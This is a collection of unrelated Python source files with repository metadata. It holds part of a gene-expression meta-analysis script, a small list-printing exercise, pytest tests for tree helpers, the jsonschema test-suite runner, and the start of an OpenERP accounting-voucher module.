'sample__gsm_name': 'gsm_name', 'annotation': 'annotation', 'serie_annotation__series__id': 'series_id', 'serie_annotation__platform__id': 'platform_id', 'serie_annotation__platform__gpl_name': 'gpl_name', 'serie_annotation__tag__tag_name': 'tag_name', } @log_durations(logger.debug) def get_analysis_df(conn, case_query, control_query, modifier_query=""): # Fetch all relevant data queries = [case_query, control_query, modifier_query] tokens = set(cat(re_all('[a-zA-Z]\w*', query) for query in queries)) df = pd.read_sql_query(''' SELECT sample_id, sample.gsm_name, annotation, series_annotation.series_id, series.gse_name, series_annotation.platform_id, platform.gpl_name, tag.tag_name FROM sample_annotation JOIN sample ON (sample_annotation.sample_id = sample.id) JOIN series_annotation ON (sample_annotation.serie_annotation_id = series_annotation.id) JOIN platform ON (series_annotation.platform_id = platform.id) JOIN tag ON (series_annotation.tag_id = tag.id) JOIN series ON (series_annotation.series_id = series.id) WHERE tag.tag_name ~* %(tags)s ''', conn, params={'tags': '^(%s)$' % '|'.join(map(re.escape, tokens))}) # Make tag columns df.tag_name = df.tag_name.str.lower() df.annotation = df.annotation.str.lower() for tag in tokens: tag_name = tag.lower() df[tag_name] = df[df.tag_name == tag_name].annotation # Select only cells with filled annotations df = df.drop(['tag_name', 'annotation'], axis=1) df = df.groupby(['sample_id', 'series_id', 'platform_id', 'gsm_name', 'gpl_name'], as_index=False).first() df = df.convert_objects(convert_numeric=True) # Apply case/control/modifier if modifier_query: df = df.query(modifier_query.lower()) case_df = df.query(case_query.lower()) control_df = df.query(control_query.lower()) # Set 0 and 1 for analysis overlap_df = df.ix[set(case_df.index).intersection(set(control_df.index))] df['sample_class'] = None df['sample_class'].ix[case_df.index] = 1 df['sample_class'].ix[control_df.index] = 0 df['sample_class'].ix[overlap_df.index] = -1 return df.dropna(subset=["sample_class"]) @log_durations(logger.debug) def load_gse(cursor, df, series_id): gse_name = series_gse_name(series_id) logger.debug('Loading data for %s, id = %d', gse_name, series_id) gpl2data = {} gpl2probes = {} for platform_id in df.query("""series_id == %s""" % series_id).platform_id.unique(): gpl_name = platform_gpl_name(cursor, platform_id) gpl2data[gpl_name] = get_data(series_id, platform_id) gpl2probes[gpl_name] = get_probes(platform_id) samples = df.query('series_id == %s' % series_id) return Gse(gse_name, samples, gpl2data, gpl2probes) def query_record(cursor, id, table, id_field="id"): sql = """select * from %s where %s """ % (table, id_field) + """= %s""" cursor.execute(sql, (id,)) return cursor.fetchone() # @make_lookuper def series_gse_name(cursor, series_id): return query_record(cursor, series_id, "series")['gse_name'] # return Series.objects.values_list('id', 'gse_name') # @make_lookuper def platform_gpl_name(cursor, platform_id): # return Platform.objects.values_list('id', 'gpl_name') return query_record(cursor, platform_id, "platform")['gpl_name'] def __getMatrixNumHeaderLines(inStream): p = re.compile(r'^"ID_REF"') for i, line in enumerate(inStream): if p.search(line): return i def matrix_filenames(series_id, platform_id): gse_name = series_gse_name(cursor, series_id) yield "%s/%s_series_matrix.txt.gz" % (gse_name, gse_name) gpl_name = platform_gpl_name(cursor, platform_id) yield "%s/%s-%s_series_matrix.txt.gz" % (gse_name, gse_name, gpl_name) def get_matrix_filename(series_id, platform_id): filenames = list(matrix_filenames(series_id, platform_id)) mirror_filenames = (os.path.join(conf.SERIES_MATRIX_MIRROR, filename) for filename in filenames) mirror_filename = first(filename for filename in mirror_filenames if os.path.isfile(filename)) if mirror_filename: return mirror_filename for filename in filenames: logger.info('Loading URL %s...' % (conf.SERIES_MATRIX_URL + filename)) try: res = urllib2.urlopen(conf.SERIES_MATRIX_URL + filename) except urllib2.URLError: pass else: mirror_filename = os.path.join(conf.SERIES_MATRIX_MIRROR, filename) logger.info('Cache to %s' % mirror_filename) directory = os.path.dirname(mirror_filename) if not os.path.exists(directory): os.makedirs(directory) with open(mirror_filename, 'wb') as f: shutil.copyfileobj(res, f) return mirror_filename raise LookupError("Can't find matrix file for series %s, platform %s" % (series_id, platform_id)) @log_durations(logger.debug) def get_data(series_id, platform_id): matrixFilename = get_matrix_filename(series_id, platform_id) # setup data for specific platform for attempt in (0, 1): try: headerRows = __getMatrixNumHeaderLines(gzip.open(matrixFilename)) na_values = ["null", "NA", "NaN", "N/A", "na", "n/a"] data = pd.io.parsers.read_table(gzip.open(matrixFilename), skiprows=headerRows, index_col=["ID_REF"], na_values=na_values, lineterminator='\n', engine='c') # Drop last line data = data.drop(data.index[-1]).dropna() break except IOError as e: # In case we have cirrupt file logger.error("Failed loading %s: %s" % (matrixFilename, e)) os.remove(matrixFilename) if attempt: raise matrixFilename = get_matrix_filename(series_id, platform_id) data.index = data.index.astype(str) data.index.name = "probe" for column in data.columns: data[column] = data[column].astype(np.float64) # return data.head(100) return data @log_durations(logger.debug) def get_probes(platform_id): sql = "select * from platform_probe where platform_id = %s" return pd.read_sql(sql, conn, "probe", params=(platform_id,)) # df = PlatformProbe.objects.filter(platform=platform_id).order_by('id').to_dataframe() # # df = db(Platform_Probe.platform_id == platform_id).select(processor=pandas_processor) # df.columns = [col.lower().replace("platform_probe.", "") for col in df.columns] # df.probe = df.probe.astype(str) # must cast probes as str # df = df.set_index('probe') # return df class Gse: def __init__(self, name, samples, gpl2data, gpl2probes): self.name = name self.samples = samples self.gpl2data = gpl2data self.gpl2probes = gpl2probes def __str__(self): return '<Gse %s>' % self.name def getFullMetaAnalysis(fcResults, debug=False): debug and fcResults.to_csv("%s.fc.csv" % debug) all = [] # i = 0 allGeneEstimates = fcResults.sort('p') \ .drop_duplicates(['gse', 'gpl', 'mygene_sym', 'mygene_entrez', 'subset']) \ .dropna() debug and allGeneEstimates.to_csv("%s.geneestimates.csv" % debug) for group, geneEstimates in allGeneEstimates.groupby(['mygene_sym', 'mygene_entrez']): mygene_sym, mygene_entrez = group # if debug: # print i, group # i += 1 if len(geneEstimates) == 1: continue # if i > 10: # break metaAnalysis = getMetaAnalysis(geneEstimates) metaAnalysis['caseDataCount'] = geneEstimates['caseDataCount'].sum() metaAnalysis['controlDataCount'] = geneEstimates['controlDataCount'].sum() metaAnalysis['mygene_sym'] = mygene_sym metaAnalysis['mygene_entrez'] = mygene_entrez all.append(metaAnalysis) allMetaAnalysis = pd.DataFrame(all).set_index(['mygene_sym', 'mygene_entrez']) debug and allMetaAnalysis.to_csv('allMetaAnalysis.csv') allMetaAnalysis['direction'] = allMetaAnalysis['random_TE'].map( lambda x: "up" if x >= 0 else "down") return allMetaAnalysis # @dcache_new.cached def getMetaAnalysis(geneEstimates): return MetaAnalyser(geneEstimates).get_results() class GseAnalyzer: def __init__(self, gse): self.gse = gse def getResults(self, debug=False): gse = self.gse samples = gse.samples if 'subset' not in samples.columns: samples['subset'] = "NA" groups = samples.ix[samples.sample_class >= 0] \ .groupby(['subset', 'gpl_name']) allResults = pd.DataFrame() for group, df in groups: subset, gpl = group probes = gse.gpl2probes[gpl] # NOTE: if data has changed then sample ids could be different if not set(df["gsm_name"]) <= set(gse.gpl2data[gpl].columns): logger.info("skipping %s: sample ids mismatch" % gpl) continue df = df.set_index("gsm_name") data = gse.gpl2data[gpl][df.index] # Drop samples with > 80% missing samples # data = data.dropna(axis=1, thresh=data.shape[0] * .2) myCols = ['mygene_sym', 'mygene_entrez'] table = pd.DataFrame(columns=myCols).set_index(myCols) sample_class = df.ix[data.columns].sample_class debug = debug and debug + ".%s_%s_%s" % (self.gse.name, gpl, subset) table = getFoldChangeAnalysis(data, sample_class, debug=debug) debug and table.to_csv("%s.table.csv" % debug) if not table.empty: table['direction'] = table.log2foldChange.map( lambda x: "up" if x > 0 else 'down') table['subset'] = subset table['gpl'] = gpl table['gse'] = self.gse.name probes = gse.gpl2probes[gpl] table = table \ .join(probes[['mygene_entrez', 'mygene_sym']]) \ .dropna(subset=['mygene_entrez', 'mygene_sym']) allResults = pd.concat([allResults, table.reset_index()]) # allResults.index.name = "probe" self.results = allResults return allResults class MetaAnalyser: def isquared(self, H): """ Calculate I-Squared. Higgins & Thompson (2002), Statistics in Medicine, 21, 1539-58. """ if H.TE: t = lambda x: (x ** 2 - 1) / x ** 2 return EasyDict(TE=t(H.TE), lower=t(H.lower), upper=t(H.upper)) else: return EasyDict(TE=None, lower=None, upper=None) def calcH(self, Q, df, level): """ Calculate H. Higgins & Thompson (2002), Statistics in Medicine, 21, 1539-58. """ k = df + 1 H = np.sqrt(Q / (k - 1)) result = EasyDict(TE=None, lower=None, upper=None) if k > 2: if Q <= k: selogH = np.sqrt(1 / (2 * (k - 2)) * (1 - 1 / (3 * (k - 2) ** 2))) else: selogH = 0.5 * (np.log(Q) - np.log(k - 1)) / (np.sqrt(2 * Q) - np.sqrt(2 * k - 3)) tres = self.getConfidenceIntervals(np.log(H), selogH, level) result = EasyDict(TE=1 if np.exp(tres.TE) < 1 else np.exp(tres.TE), lower=1 if np.exp(tres.lower) < 1 else np.exp(tres.lower), upper=1 if np.exp(tres.upper) < 1 else np.exp(tres.upper)) return result norm_ppf = staticmethod(memoize(stats.norm.ppf)) t_ppf = staticmethod(memoize(stats.t.ppf)) def getConfidenceIntervals(self, TE, TE_se, level=.95, df=None): alpha = 1 - level zscore = TE / TE_se if not df: delta = self.norm_ppf(1 - alpha / 2) * TE_se lower = TE - delta upper = TE + delta pval = 2 * (1 - stats.norm.cdf(abs(zscore))) else: delta = self.t_ppf(1 - alpha / 2, df=df) * TE_se lower = TE - delta upper = TE + delta pval = 2 * (1 - stats.t.cdf(abs(zscore), df=df)) result = EasyDict(TE=TE, se=TE_se, level=level, df=df, pval=pval, zscore=zscore, upper=upper, lower=lower) return result @staticmethod def get_TE_se(gene_stats): # Convert to numpy arrays for speed caseSigma = gene_stats['caseDataSigma'].values caseCount = gene_stats['caseDataCount'].values controlSigma = gene_stats['controlDataSigma'].values controlCount = gene_stats['controlDataCount'].values # MD method na = np.sqrt(caseSigma ** 2 / caseCount + controlSigma ** 2 / controlCount) # Studies with non-positive variance get zero weight in meta-analysis for i in range(len(na)): if caseSigma[i] <= 0 or controlSigma[i] <= 0: na[i] = float('nan') return pd.Series(na, index=gene_stats.index) def __init__(self, gene_stats): TE = gene_stats.caseDataMu.values - gene_stats.controlDataMu.values # (7) Calculate results for individual studies TE_se = self.get_TE_se(gene_stats) w_fixed = (1 / TE_se ** 2).fillna(0) TE_fixed = np.average(TE, weights=w_fixed) TE_fixed_se = np.sqrt(1 / sum(w_fixed)) self.fixed = self.getConfidenceIntervals(TE_fixed, TE_fixed_se) self.Q = sum(w_fixed * (TE - TE_fixed) ** 2) self.Q_df = TE_se.dropna().count() - 1 self.cVal = sum(w_fixed) - sum(w_fixed ** 2) / sum(w_fixed) if self.Q <= self.Q_df: self.tau2 = 0 else: self.tau2 = (self.Q - self.Q_df) / self.cVal self.tau = np.sqrt(self.tau2) self.tau2_se = None w_random = (1 / (TE_se ** 2 + self.tau2)).fillna(0) TE_random = np.average(TE, weights=w_random) TE_random_se = np.sqrt(1 / sum(w_random)) self.random = self.getConfidenceIntervals(TE_random, TE_random_se) # Prediction interval self.level_predict = 0.95 self.k = TE_se.count() self.predict = EasyDict(TE=None, se=None, level=None, df=None, pval=None, zscore=None, upper=None, lower=None) if self.k >= 3: TE_predict_se = np.sqrt(TE_random_se ** 2 + self.tau2) self.predict = self.getConfidenceIntervals(TE_random, TE_predict_se, self.level_predict, self.k - 2) # Calculate H and I-Squared self.level_comb = 0.95 self.H = self.calcH(self.Q, self.Q_df, self.level_comb) self.I2 = self.isquared(self.H) def get_results(self): return dict( k=self.k, fixed_TE=self.fixed.TE, fixed_se=self.fixed.se, fixed_lower=self.fixed.lower, fixed_upper=self.fixed.upper, fixed_pval=self.fixed.pval, fixed_zscore=self.fixed.zscore, random_TE=self.random.TE, random_se=self.random.se, random_lower=self.random.lower, random_upper=self.random.upper, random_pval=self.random.pval, random_zscore=self.random.zscore, predict_TE=self.predict.TE, predict_se=self.predict.se, predict_lower=self.predict.lower, predict_upper=self.predict.upper, predict_pval=self.predict.pval, predict_zscore=self.predict.zscore, tau2=self.tau2, tau2_se=self.tau2_se, C=self.cVal, H=self.H.TE, H_lower=self.H.lower, H_upper=self.H.upper, I2=self.I2.TE, I2_lower=self.I2.lower, I2_upper=self.I2.upper, Q=self.Q, Q_df=self.Q_df, ) def getFoldChangeAnalysis(data, sample_class, debug=False): from scipy.stats import ttest_ind data = normalize_quantiles(get_logged(data)) summary = pd.DataFrame(index=data.index) summary['dataMu'] = data.mean(axis="columns") summary['dataSigma'] = data.std(axis="columns") summary['dataCount'] = data.count(axis="columns") caseData = data.T[sample_class == 1].T debug and caseData.to_csv("%s.case.data.csv" % debug) summary['caseDataMu'] = caseData.mean(axis="columns") summary['caseDataSigma'] = caseData.std(axis="columns") if len(caseData.columns) > 1 else 0 summary['caseDataCount'] = caseData.count(axis="columns") controlData = data.T[sample_class == 0].T debug and controlData.to_csv("%s.control.data.csv" % debug) summary['controlDataMu'] = controlData.mean(axis="columns") summary['controlDataSigma'] = controlData.std(axis="columns") \ if len(controlData.columns) > 1 else 0 summary['controlDataCount'] = controlData.count(axis="columns") summary['fc'] = summary['caseDataMu'] - summary['controlDataMu'] summary['log2foldChange'] = summary['fc'] # else: # summary['fc'] = np.log2(summary['caseDataMu']/summary['controlDataMu']) summary['effect_size'] = summary['fc'] / summary['dataSigma'] ttest, prob = ttest_ind(caseData, controlData, axis=1) summary['ttest'] = ttest summary['p'] = prob summary['direction'] = summary['effect_size'].map(lambda x: "up" if x >= 0 else "down") return summary def normalize_quantiles(df): """ df with samples in the columns and probes across the rows """ # http://biopython.org/pipermail/biopython/2010-March/006319.html A = df.values AA = np.empty_like(A) I = np.argsort(A, axis=0) AA[I, np.arange(A.shape[1])] = np.mean(A[I, np.arange(A.shape[1])], axis=1)[:, np.newaxis] return pd.DataFrame(AA, index=df.index, columns=df.columns) import numexpr as ne def get_logged(df): if is_logged(df): return df data = df.values floor = np.abs(np.min(data, axis=0)) res = ne.evaluate('log(data + floor + 1) / log(2)') return pd.DataFrame(res, index=df.index, columns=df.columns) def is_logged(df): return np.max(df.values) < 10 if __name__ == "__main__": import psycopg2 import psycopg2.extras # Read database connection info with open('dsn.txt') as read_file: dsn = read_file.read() # Connect to database conn = psycopg2.connect(dsn) cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor) analysis = EasyDict( analysis_name = "test", case_query = """DHF=='DHF' or DSS=='DSS'""", control_query = """DF=='DF'""", modifier_query = """Dengue_Acute=="Dengue_Acute" or Dengue_Early_Acute=='Dengue_Early_Acute' or Dengue_Late_Acute == 'Dengue_Late_Acute' or Dengue_DOF <= 7""", min_samples = 3 ) results = perform_analysis(cursor=cursor, analysis=analysis) #analysis.to_csv("analysis.csv")
1f0647a82ec298b7fd062cfa3cc353018b00d7ae
acaed6ad4a2bb3f6df553debf547d0feafdd99e9
/List/group.py
a2833a6241a9dc45b4a99d6a2fc85facdafbe9f2
[]
no_license
SAM1363/TH-Python
764691b7b8281b3298ace985039ee9c05ef340a1
421c4d7f54ed56233a87c7d9907ac3d1ab993c94
refs/heads/master
2020-05-30T01:12:49.404476
2019-08-04T04:45:32
2019-08-04T04:45:32
189,472,375
0
0
null
null
null
null
UTF-8
Python
false
false
510
py
musical_groups = [ ["Ad Rock", "MCA", "Mike D."], ["John Lennon", "Paul McCartney", "Ringo Starr", "George Harrison"], ["Salt", "Peppa", "Spinderella"], ["Rivers Cuomo", "Patrick Wilson", "Brian Bell", "Scott Shriner"], ["Chuck D.", "Flavor Flav", "Professor Griff", "Khari Winn", "DJ Lord"], ["Axl Rose", "Slash", "Duff McKagan", "Steven Adler"], ["Run", "DMC", "Jam Master Jay"], ] for each in musical_groups: member = ', '.join(each) print(member) list(musical_groups)
9936ad7e397f768960297e8f9eccd89b14b4501f
0ddcfcbfc3faa81c79e320c34c35a972dab86498
/tests/test_utils.py
4d48eca5725d58a50d4d971b6a360e9e2bf5ba73
[]
no_license
IvanWoo/coding-interview-questions
3311da45895ac4f3c394b22530079c79a9215a1c
1312305b199b65a11804a000432ebe28d1fba87e
refs/heads/master
2023-08-09T19:46:28.278111
2023-06-21T01:47:07
2023-06-21T01:47:07
135,307,912
0
0
null
2023-07-20T12:14:38
2018-05-29T14:24:43
Python
UTF-8
Python
false
false
983
py
from typing import Optional import pytest from puzzles.utils import NaryNode, TreeNode, make_nary_node, make_tree @pytest.mark.parametrize( "vals, expected", [ ([0, 0, None, 0, 0], TreeNode(0, TreeNode(0, TreeNode(0), TreeNode(0)), None)), ( [0, 0, None, 0, None, 0, None, None, 0], TreeNode( 0, TreeNode(0, TreeNode(0, TreeNode(0, None, TreeNode(0)), None), None), None, ), ), ], ) def test_make_tree(vals: list[Optional[int]], expected: TreeNode): assert make_tree(vals) == expected @pytest.mark.parametrize( "vals, expected", [ ( [1, None, 3, 2, 4, None, 5, 6], NaryNode( 1, [NaryNode(3, [NaryNode(5), NaryNode(6)]), NaryNode(2), NaryNode(4)] ), ) ], ) def test_make_nary_node(vals, expected): print(make_nary_node(vals)) assert make_nary_node(vals) == expected
9da058de57b98d9790e33229d76a413361bbd24e
a276d03f34457c174d2e79fc4fdb17c90299e843
/projects/buttons/lib/jsonschema/tests/test_jsonschema_test_suite.py
146bf3e9a4e7a0cb0261683dd6a3907a2116dc18
[ "MIT" ]
permissive
lucidworks/streams
effba3bc55df10431fb505937180b30d72e248b8
89aaf02382494cf09041ca5dadb41dddb86cf9d8
refs/heads/master
2021-06-02T04:09:27.626504
2020-01-07T01:28:09
2020-01-07T01:28:09
106,742,467
8
6
null
2020-03-17T21:17:48
2017-10-12T20:34:28
Python
UTF-8
Python
false
false
9,059
py
""" Test runner for the JSON Schema official test suite Tests comprehensive correctness of each draft's validator. See https://github.com/json-schema/JSON-Schema-Test-Suite for details. """ from decimal import Decimal import glob import json import io import itertools import os import re import subprocess try: from sys import pypy_version_info except ImportError: pypy_version_info = None from jsonschema import ( FormatError, SchemaError, ValidationError, Draft3Validator, Draft4Validator, FormatChecker, draft3_format_checker, draft4_format_checker, validate, ) from jsonschema.compat import PY3 from jsonschema.tests.compat import mock, unittest import jsonschema REPO_ROOT = os.path.join(os.path.dirname(jsonschema.__file__), os.path.pardir) SUITE = os.getenv("JSON_SCHEMA_TEST_SUITE", os.path.join(REPO_ROOT, "json")) if not os.path.isdir(SUITE): raise ValueError( "Can't find the JSON-Schema-Test-Suite directory. Set the " "'JSON_SCHEMA_TEST_SUITE' environment variable or run the tests from " "alongside a checkout of the suite." ) TESTS_DIR = os.path.join(SUITE, "tests") JSONSCHEMA_SUITE = os.path.join(SUITE, "bin", "jsonschema_suite") REMOTES = subprocess.Popen( ["python", JSONSCHEMA_SUITE, "remotes"], stdout=subprocess.PIPE, ).stdout if PY3: REMOTES = io.TextIOWrapper(REMOTES) REMOTES = json.load(REMOTES) def make_case(schema, data, valid, name): if valid: def test_case(self): kwargs = getattr(self, "validator_kwargs", {}) validate(data, schema, cls=self.validator_class, **kwargs) else: def test_case(self): kwargs = getattr(self, "validator_kwargs", {}) with self.assertRaises(ValidationError): validate(data, schema, cls=self.validator_class, **kwargs) if not PY3: name = name.encode("utf-8") test_case.__name__ = name return test_case def maybe_skip(skip, test, case): if skip is not None: reason = skip(case) if reason is not None: test = unittest.skip(reason)(test) return test def load_json_cases(tests_glob, ignore_glob="", basedir=TESTS_DIR, skip=None): if ignore_glob: ignore_glob = os.path.join(basedir, ignore_glob) def add_test_methods(test_class): ignored = set(glob.iglob(ignore_glob)) for filename in glob.iglob(os.path.join(basedir, tests_glob)): if filename in ignored: continue validating, _ = os.path.splitext(os.path.basename(filename)) id = itertools.count(1) with open(filename) as test_file: for case in json.load(test_file): for test in case["tests"]: name = "test_%s_%s_%s" % ( validating, next(id), re.sub(r"[\W ]+", "_", test["description"]), ) assert not hasattr(test_class, name), name test_case = make_case( data=test["data"], schema=case["schema"], valid=test["valid"], name=name, ) test_case = maybe_skip(skip, test_case, case) setattr(test_class, name, test_case) return test_class return add_test_methods class TypesMixin(object): @unittest.skipIf(PY3, "In Python 3 json.load always produces unicode") def test_string_a_bytestring_is_a_string(self): self.validator_class({"type" : "string"}).validate(b"foo") class DecimalMixin(object): def test_it_can_validate_with_decimals(self): schema = {"type" : "number"} validator = self.validator_class( schema, types={"number" : (int, float, Decimal)} ) for valid in [1, 1.1, Decimal(1) / Decimal(8)]: validator.validate(valid) for invalid in ["foo", {}, [], True, None]: with self.assertRaises(ValidationError): validator.validate(invalid) def missing_format(checker): def missing_format(case): format = case["schema"].get("format") if format not in checker.checkers: return "Format checker {0!r} not found.".format(format) elif ( format == "date-time" and pypy_version_info is not None and pypy_version_info[:2] <= (1, 9) ): # datetime.datetime is overzealous about typechecking in <=1.9 return "datetime.datetime is broken on this version of PyPy." return missing_format class FormatMixin(object): def test_it_returns_true_for_formats_it_does_not_know_about(self): validator = self.validator_class( {"format" : "carrot"}, format_checker=FormatChecker(), ) validator.validate("bugs") def test_it_does_not_validate_formats_by_default(self): validator = self.validator_class({}) self.assertIsNone(validator.format_checker) def test_it_validates_formats_if_a_checker_is_provided(self): checker = mock.Mock(spec=FormatChecker) validator = self.validator_class( {"format" : "foo"}, format_checker=checker, ) validator.validate("bar") checker.check.assert_called_once_with("bar", "foo") cause = ValueError() checker.check.side_effect = FormatError('aoeu', cause=cause) with self.assertRaises(ValidationError) as cm: validator.validate("bar") # Make sure original cause is attached self.assertIs(cm.exception.cause, cause) def test_it_validates_formats_of_any_type(self): checker = mock.Mock(spec=FormatChecker) validator = self.validator_class( {"format" : "foo"}, format_checker=checker, ) validator.validate([1, 2, 3]) checker.check.assert_called_once_with([1, 2, 3], "foo") cause = ValueError() checker.check.side_effect = FormatError('aoeu', cause=cause) with self.assertRaises(ValidationError) as cm: validator.validate([1, 2, 3]) # Make sure original cause is attached self.assertIs(cm.exception.cause, cause) @load_json_cases("draft3/*.json", ignore_glob="draft3/refRemote.json") @load_json_cases( "draft3/optional/format.json", skip=missing_format(draft3_format_checker) ) @load_json_cases("draft3/optional/bignum.json") @load_json_cases("draft3/optional/zeroTerminatedFloats.json") class TestDraft3(unittest.TestCase, TypesMixin, DecimalMixin, FormatMixin): validator_class = Draft3Validator validator_kwargs = {"format_checker" : draft3_format_checker} def test_any_type_is_valid_for_type_any(self): validator = self.validator_class({"type" : "any"}) validator.validate(mock.Mock()) # TODO: we're in need of more meta schema tests def test_invalid_properties(self): with self.assertRaises(SchemaError): validate({}, {"properties": {"test": True}}, cls=self.validator_class) def test_minItems_invalid_string(self): with self.assertRaises(SchemaError): # needs to be an integer validate([1], {"minItems" : "1"}, cls=self.validator_class) @load_json_cases("draft4/*.json", ignore_glob="draft4/refRemote.json") @load_json_cases( "draft4/optional/format.json", skip=missing_format(draft4_format_checker) ) @load_json_cases("draft4/optional/bignum.json") @load_json_cases("draft4/optional/zeroTerminatedFloats.json") class TestDraft4(unittest.TestCase, TypesMixin, DecimalMixin, FormatMixin): validator_class = Draft4Validator validator_kwargs = {"format_checker" : draft4_format_checker} # TODO: we're in need of more meta schema tests def test_invalid_properties(self): with self.assertRaises(SchemaError): validate({}, {"properties": {"test": True}}, cls=self.validator_class) def test_minItems_invalid_string(self): with self.assertRaises(SchemaError): # needs to be an integer validate([1], {"minItems" : "1"}, cls=self.validator_class) class RemoteRefResolutionMixin(object): def setUp(self): patch = mock.patch("jsonschema.validators.requests") requests = patch.start() requests.get.side_effect = self.resolve self.addCleanup(patch.stop) def resolve(self, reference): _, _, reference = reference.partition("http://localhost:1234/") return mock.Mock(**{"json.return_value" : REMOTES.get(reference)}) @load_json_cases("draft3/refRemote.json") class Draft3RemoteResolution(RemoteRefResolutionMixin, unittest.TestCase): validator_class = Draft3Validator @load_json_cases("draft4/refRemote.json") class Draft4RemoteResolution(RemoteRefResolutionMixin, unittest.TestCase): validator_class = Draft4Validator
01058a3e566c48e4d64f1631c34c9250e4586ae1
747f759311d404af31c0f80029e88098193f6269
/addons/account_voucher/incorrect/account_voucher.py
96ce7d5a43b51cc2193176786d81b40bf48f5cf1
[]
no_license
sgeerish/sirr_production
9b0d0f7804a928c0c582ddb4ccb7fcc084469a18
1081f3a5ff8864a31b2dcd89406fac076a908e78
refs/heads/master
2020-05-19T07:21:37.047958
2013-09-15T13:03:36
2013-09-15T13:03:36
9,648,444
0
1
null
null
null
null
UTF-8
Python
false
false
50,466
py
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from lxml import etree import netsvc from osv import osv, fields, orm import decimal_precision as dp from tools.translate import _ class account_voucher(osv.osv): _name = 'account.voucher' def _get_type(self, cr, uid, context=None): if context is None: context = {} return context.get('type', False) def _get_period(self, cr, uid, context=None): if context is None: context = {} if context.get('period_id', False): return context.get('period_id') periods = self.pool.get('account.period').find(cr, uid) return periods and periods[0] or False def _get_journal(self, cr, uid, context=None): if context is None: context = {} journal_pool = self.pool.get('account.journal') invoice_pool = self.pool.get('account.invoice') if context.get('invoice_id', False): currency_id = invoice_pool.browse(cr, uid, context['invoice_id'], context=context).currency_id.id journal_id = journal_pool.search(cr, uid, [('currency', '=', currency_id)], limit=1) return journal_id and journal_id[0] or False if context.get('journal_id', False): return context.get('journal_id') if not context.get('journal_id', False) and context.get('search_default_journal_id', False): return context.get('search_default_journal_id') ttype = context.get('type', 'bank') if ttype in ('payment', 'receipt'): ttype = 'bank' res = journal_pool.search(cr, uid, [('type', '=', ttype)], limit=1) return res and res[0] or False def _get_tax(self, cr, uid, context=None): if context is None: context = {} journal_pool = self.pool.get('account.journal') journal_id = context.get('journal_id', False) if not journal_id: ttype = context.get('type', 'bank') res = journal_pool.search(cr, uid, [('type', '=', ttype)], limit=1) if not res: return False journal_id = res[0] if not journal_id: return False journal = journal_pool.browse(cr, uid, journal_id, context=context) account_id = journal.default_credit_account_id or journal.default_debit_account_id if account_id and account_id.tax_ids: tax_id = account_id.tax_ids[0].id return tax_id return False def _get_currency(self, cr, uid, context=None): if context is None: context = {} journal_pool = self.pool.get('account.journal') journal_id = context.get('journal_id', False) if journal_id: journal = journal_pool.browse(cr, uid, journal_id, context=context) # currency_id = journal.company_id.currency_id.id if journal.currency: return journal.currency.id return False def _get_partner(self, cr, uid, context=None): if context is None: context = {} return context.get('partner_id', False) def _get_reference(self, cr, uid, context=None): if context is None: context = {} return context.get('reference', False) def _get_narration(self, cr, uid, context=None): if context is None: context = {} return context.get('narration', False) def _get_amount(self, cr, uid, context=None): if context is None: context= {} return context.get('amount', 0.0) def name_get(self, cr, uid, ids, context=None): if not ids: return [] if context is None: context = {} return [(r['id'], (str("%.2f" % r['amount']) or '')) for r in self.read(cr, uid, ids, ['amount'], context, load='_classic_write')] def fields_view_get(self, cr, uid, view_id=None, view_type=False, context=None, toolbar=False, submenu=False): mod_obj = self.pool.get('ir.model.data') if context is None: context = {} if not view_id and context.get('invoice_type', False): if context.get('invoice_type', False) in ('out_invoice', 'out_refund'): result = mod_obj.get_object_reference(cr, uid, 'account_voucher', 'view_vendor_receipt_form') else: result = mod_obj.get_object_reference(cr, uid, 'account_voucher', 'view_vendor_payment_form') result = result and result[1] or False view_id = result if not view_id and context.get('line_type', False): if context.get('line_type', False) == 'customer': result = mod_obj.get_object_reference(cr, uid, 'account_voucher', 'view_vendor_receipt_form') else: result = mod_obj.get_object_reference(cr, uid, 'account_voucher', 'view_vendor_payment_form') result = result and result[1] or False view_id = result res = super(account_voucher, self).fields_view_get(cr, uid, view_id=view_id, view_type=view_type, context=context, toolbar=toolbar, submenu=submenu) doc = etree.XML(res['arch']) nodes = doc.xpath("//field[@name='partner_id']") if context.get('type', 'sale') in ('purchase', 'payment'): for node in nodes: node.set('domain', "[('supplier', '=', True)]") res['arch'] = etree.tostring(doc) return res def _compute_writeoff_amount(self, cr, uid, line_dr_ids, line_cr_ids, amount): debit = credit = 0.0 for l in line_dr_ids: #debit += l['amount'] debit += l['amount_unreconciled'] for l in line_cr_ids: #credit += l['amount'] credit += l['amount_unreconciled'] return abs(amount - abs(credit - debit)) def onchange_line_ids(self, cr, uid, ids, line_dr_ids, line_cr_ids, amount): voucher_lines=self.pool.get('account.voucher.line') if not line_dr_ids and not line_cr_ids: return {'value':{}} line_dr_ids = [x[2] for x in line_dr_ids] line_cr_ids = [x[2] for x in line_cr_ids] return {'value': {'writeoff_amount': self._compute_writeoff_amount(cr, uid, line_dr_ids, line_cr_ids, amount)}} def _get_writeoff_amount(self, cr, uid, ids, name, args, context=None): if not ids: return {} res = {} debit = credit = 0.0 for voucher in self.browse(cr, uid, ids, context=context): for l in voucher.line_dr_ids: #debit += l.amount debit += l.amount_unreconciled for l in voucher.line_cr_ids: #credit +=l.amount #res[voucher.id] = abs(voucher.amount - abs(credit - debit)) credit += l.amount_unreconciled res[voucher.id] = abs(voucher.amount - abs(credit - debit)) return res # return the ids of the move lines which has the same account than the invoice # whose id is in ids _description = 'Accounting Voucher' _order = "date desc, id desc" # _rec_name = 'number' _columns = { 'type':fields.selection([ ('sale','Sale'), ('purchase','Purchase'), ('payment','Payment'), ('receipt','Receipt'), ],'Default Type', readonly=True, states={'draft':[('readonly',False)]}), 'name':fields.char('Memo', size=256, readonly=True, states={'draft':[('readonly',False)]}), 'date':fields.date('Date', readonly=True, select=True, states={'draft':[('readonly',False)]}, help="Effective date for accounting entries"), 